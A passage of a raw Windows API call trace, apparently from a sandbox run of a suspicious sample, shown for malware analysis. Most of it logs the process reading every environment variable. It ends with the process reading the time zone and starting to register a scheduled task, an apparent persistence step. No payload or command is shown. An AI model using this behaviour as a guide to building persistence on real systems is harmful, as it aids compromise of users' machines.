lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0085.554] GetLastError () returned 0x0 [0085.554] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fe3de8) returned 0x34 [0085.554] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fe3de8, Size=0x38) returned 0x2fe3e28 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0085.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xe) returned 0x2fabc50 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x2fabc50, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0085.554] GetLastError () returned 0x0 [0085.554] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fe3e28) returned 0x38 [0085.554] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fe3e28, Size=0x3c) returned 0x2fb5638 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0085.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x69) returned 0x2fa3cc8 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x2fa3cc8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0085.554] GetLastError () returned 0x0 [0085.554] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fb5638) returned 0x3c [0085.554] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fb5638, Size=0x40) returned 0x2fb5680 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0085.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3e) returned 0x2fb5638 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x2fb5638, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0085.554] GetLastError () returned 0x0 [0085.554] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fb5680) returned 0x40 [0085.554] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fb5680, Size=0x44) returned 0x2fbd320 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0085.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1b) returned 0x2feb950 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x2feb950, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0085.555] GetLastError () returned 0x0 [0085.555] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fbd320) returned 0x44 [0085.555] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fbd320, Size=0x48) returned 0x2fbd370 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0085.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1d) returned 0x2feb928 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x2feb928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0085.555] GetLastError () returned 0x0 [0085.555] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fbd370) returned 0x48 [0085.555] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fbd370, Size=0x4c) returned 0x2fea928 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0085.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x48) returned 0x2fbd370 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x2fbd370, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0085.555] GetLastError () returned 0x0 [0085.555] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fea928) returned 0x4c [0085.555] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fea928, Size=0x50) returned 0x2fea980 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0085.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x12) returned 0x2fe57f0 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x2fe57f0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0085.555] GetLastError () returned 0x0 [0085.555] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fea980) returned 0x50 [0085.555] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fea980, Size=0x54) returned 0x2fc91d0 [0085.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0085.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x18) returned 0x2fe57d0 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x2fe57d0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0085.556] GetLastError () returned 0x0 [0085.556] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fc91d0) returned 0x54 [0085.556] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fc91d0, Size=0x58) returned 0x2fc9230 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0085.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1b) returned 0x2feb978 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x2feb978, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0085.556] GetLastError () returned 0x0 [0085.556] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fc9230) returned 0x58 [0085.556] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fc9230, Size=0x5c) returned 0x2f2f350 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0085.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x2fea520 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x2fea520, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0085.556] GetLastError () returned 0x0 [0085.556] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2f2f350) returned 0x5c [0085.556] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2f2f350, Size=0x60) returned 0x2f2f420 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0085.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x29) returned 0x2fa2b40 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x2fa2b40, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0085.556] GetLastError () returned 0x0 [0085.556] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2f2f420) returned 0x60 [0085.556] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2f2f420, Size=0x64) returned 0x753808 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1e) returned 0x2feb9a0 [0085.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x2feb9a0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0085.556] GetLastError () returned 0x0 [0085.557] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x753808) returned 0x64 [0085.557] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x753808, Size=0x68) returned 0x7538e8 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0085.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x41) returned 0x2fbd320 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x2fbd320, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0085.557] GetLastError () returned 0x0 [0085.557] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x7538e8) returned 0x68 [0085.557] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x7538e8, Size=0x6c) returned 0x2fa3d40 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0085.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x17) returned 0x2fe5830 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x2fe5830, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0085.557] GetLastError () returned 0x0 [0085.557] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa3d40) returned 0x6c [0085.557] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa3d40, Size=0x70) returned 0x2fa3db8 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0085.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xf) returned 0x2fabc98 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x2fabc98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0085.557] GetLastError () returned 0x0 [0085.557] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa3db8) returned 0x70 [0085.557] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa3db8, Size=0x74) returned 0x738d88 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0085.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x16) returned 0x2fe5850 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x2fe5850, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0085.557] GetLastError () returned 0x0 [0085.557] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x738d88) returned 0x74 [0085.557] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x738d88, Size=0x78) returned 0x738e08 [0085.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0085.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2a) returned 0x2fa2bb0 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2fa2bb0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0085.558] GetLastError () returned 0x0 [0085.558] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x738e08) returned 0x78 [0085.558] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x738e08, Size=0x7c) returned 0x728038 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0085.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x29) returned 0x2fa2be8 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2fa2be8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0085.558] GetLastError () returned 0x0 [0085.558] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x728038) returned 0x7c [0085.558] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x728038, Size=0x80) returned 0x728b60 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0085.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x15) returned 0x2fe5890 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x2fe5890, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0085.558] GetLastError () returned 0x0 [0085.558] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x728b60) returned 0x80 [0085.558] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x728b60, Size=0x84) returned 0x746c10 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1e) returned 0x2feb9c8 [0085.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2feb9c8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0085.558] GetLastError () returned 0x0 [0085.558] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x746c10) returned 0x84 [0085.558] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x746c10, Size=0x88) returned 0x747000 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0085.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2a) returned 0x2fa2c20 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2fa2c20, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0085.559] GetLastError () returned 0x0 [0085.559] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x747000) returned 0x88 [0085.559] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x747000, Size=0x8c) returned 0x2fa18a8 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0085.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x12) returned 0x2fe5870 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x2fe5870, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0085.559] GetLastError () returned 0x0 [0085.559] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa18a8) returned 0x8c [0085.559] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa18a8, Size=0x90) returned 0x2fa18a8 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0085.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x18) returned 0x2fe58b0 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x2fe58b0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0085.559] GetLastError () returned 0x0 [0085.559] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa18a8) returned 0x90 [0085.559] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa18a8, Size=0x94) returned 0x2fab5f8 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0085.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x46) returned 0x2fbd3c0 [0085.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x2fbd3c0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0085.559] GetLastError () returned 0x0 [0085.559] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fab5f8) returned 0x94 [0085.559] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fab5f8, Size=0x98) returned 0x2fab5f8 [0085.559] GetLastError () returned 0x0 [0085.559] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0085.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e394 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e394) returned 26 [0085.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e394 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e394) returned 26 [0085.574] GetLastError () returned 0x0 [0085.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x2fea5b0 [0085.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x2fea5b0, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0085.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x73e908 [0085.574] GetLastError () returned 0x0 [0085.574] ITrigger:put_StartBoundary (This=0x2740c18, StartBoundary="2019-05-06T04:40:12") returned 0x0 [0085.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabcb0 | out: hHeap=0x660000) returned 1 [0085.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fc78e0 | out: hHeap=0x660000) returned 1 [0085.574] IUnknown:Release (This=0x2740c18) returned 0x1 [0085.574] ITaskDefinition:get_Actions (in: This=0x2740968, 